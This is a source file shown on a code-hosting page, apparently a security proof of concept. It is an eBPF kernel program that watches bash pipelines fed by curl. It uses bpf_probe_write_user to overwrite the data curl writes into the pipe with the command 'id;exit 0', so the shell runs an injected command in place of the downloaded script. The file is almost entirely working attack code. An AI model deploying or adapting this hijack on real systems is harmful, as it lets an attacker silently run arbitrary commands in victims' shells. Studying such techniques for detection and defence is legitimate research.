-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathmain.bpf.c
195 lines (147 loc) · 4.96 KB
/
main.bpf.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "main.h"
struct {
__uint(type, BPF_MAP_TYPE_LRU_HASH);
__uint(max_entries, 2048);
__type(key, u32);
__type(value, struct pipe_point_t);
} pipe_event_map SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_LRU_HASH);
__uint(max_entries, 2048);
__type(key, u32);
__type(value, u8);
} dup_event_map SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_LRU_HASH);
__uint(max_entries, 2048);
__type(key, u32);
__type(value, struct pipe_fd_val_t);
} pipe_fd_map SEC(".maps");
SEC("tracepoint/syscalls/sys_enter_pipe2")
int sys_enter_pipe2(struct trace_event_raw_sys_enter *ctx) {
u32 pid = bpf_get_current_pid_tgid() >> 32;
struct pipe_point_t val = {};
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
if (!str_eq(comm, "bash", TASK_COMM_LEN)) {
return 0;
}
int *fildes = (int *)BPF_CORE_READ(ctx, args[0]);
val.fildes = fildes;
bpf_map_update_elem(&pipe_event_map, &pid, &val, BPF_ANY);
bpf_printk("sys_enter_pipe2: %s", comm);
return 0;
}
SEC("tracepoint/syscalls/sys_exit_pipe2")
int sys_exit_pipe2(struct trace_event_raw_sys_exit *ctx) {
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
if (!str_eq(comm, "bash", TASK_COMM_LEN)) {
return 0;
}
u32 pid = bpf_get_current_pid_tgid() >> 32;
struct pipe_point_t *val;
val = bpf_map_lookup_elem(&pipe_event_map, &pid);
if (!val) {
return 0;
}
if (bpf_map_lookup_elem(&pipe_fd_map, &pid)) {
return 0;
}
int fd[2];
bpf_probe_read_user(fd, sizeof(fd), val->fildes);
struct pipe_fd_val_t fd_val = {};
fd_val.read_fd = fd[0];
fd_val.write_fd = fd[1];
bpf_map_update_elem(&pipe_fd_map, &pid, &fd_val, BPF_ANY);
bpf_printk("sys_exit_pipe2: %s, (%d, %d)", comm, fd[0], fd[1]);
return 0;
}
SEC("tracepoint/sched/sched_process_fork")
int sched_process_fork(struct trace_event_raw_sched_process_fork *ctx) {
u32 parent_pid = (u32) BPF_CORE_READ(ctx, parent_pid);
u32 child_pid = (u32) BPF_CORE_READ(ctx, child_pid);
struct pipe_fd_val_t *fd_val;
fd_val = bpf_map_lookup_elem(&pipe_fd_map, &parent_pid);
if (!fd_val) {
return 0;
}
bpf_map_update_elem(&pipe_fd_map, &child_pid, fd_val, BPF_ANY);
bpf_printk("sched_process_fork: %d", child_pid);
return 0;
}
SEC("tracepoint/syscalls/sys_enter_dup2")
int sys_enter_dup2(struct trace_event_raw_sys_enter *ctx) {
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
if (!str_eq(comm, "bash", TASK_COMM_LEN)) {
return 0;
}
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
u32 pid = bpf_get_current_pid_tgid() >> 32;
struct pipe_fd_val_t *fd_val;
fd_val = bpf_map_lookup_elem(&pipe_fd_map, &pid);
if (!fd_val) {
return 0;
}
int fd1 = (int)BPF_CORE_READ(ctx, args[0]);
int fd2 = (int)BPF_CORE_READ(ctx, args[1]);
if (fd2 != 1 || fd1 != fd_val->write_fd) {
return 0;
}
u8 zero = 0;
bpf_map_update_elem(&dup_event_map, &pid, &zero, BPF_ANY);
bpf_printk("r: %d, w: %d", fd_val->read_fd, fd_val->write_fd);
bpf_printk("sys_enter_dup2: %s %d->%d", comm, fd2, fd1);
return 0;
}
SEC("tracepoint/syscalls/sys_enter_execve")
int sys_enter_execve(struct trace_event_raw_sys_enter *ctx) {
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
if (!(str_eq(comm, "bash", TASK_COMM_LEN) || str_eq(comm, "curl", TASK_COMM_LEN))) {
return 0;
}
bpf_printk("sys_enter_execve: %s", comm);
return 0;
}
SEC("tracepoint/syscalls/sys_enter_write")
int tracepoint_syscalls__sys_enter_write(struct trace_event_raw_sys_enter *ctx) {
u32 pid = bpf_get_current_pid_tgid() >> 32;
if (!bpf_map_lookup_elem(&dup_event_map, &pid)) {
return 0;
}
int fd = (int) BPF_CORE_READ(ctx, args[0]);
if (fd != 1) {
return 0;
}
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
if (!str_eq(comm, "curl", TASK_COMM_LEN)) {
return 0;
}
long count = (long) BPF_CORE_READ(ctx, args[2]);
char replace[64] = "id;exit 0\n";
int size = str_len(replace, 64);
if (count < size) {
return 0;
}
void *buffer = (void *)BPF_CORE_READ(ctx, args[1]);
bpf_probe_write_user(buffer, replace, size);
bpf_printk("sys_enter_write: %s, fd: %d, count: %d", comm, fd, count);
return 0;
}
SEC("tracepoint/syscalls/sys_exit_exit_group")
int sys_exit_exit_group(struct trace_event_raw_sys_exit *ctx) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
u32 pid = bpf_get_current_pid_tgid() >> 32;
bpf_map_delete_elem(&pipe_event_map, &pid);
bpf_map_delete_elem(&pipe_fd_map, &pid);
bpf_map_delete_elem(&dup_event_map, &pid);
return 0;
}
char _license[] SEC("license") = "GPL";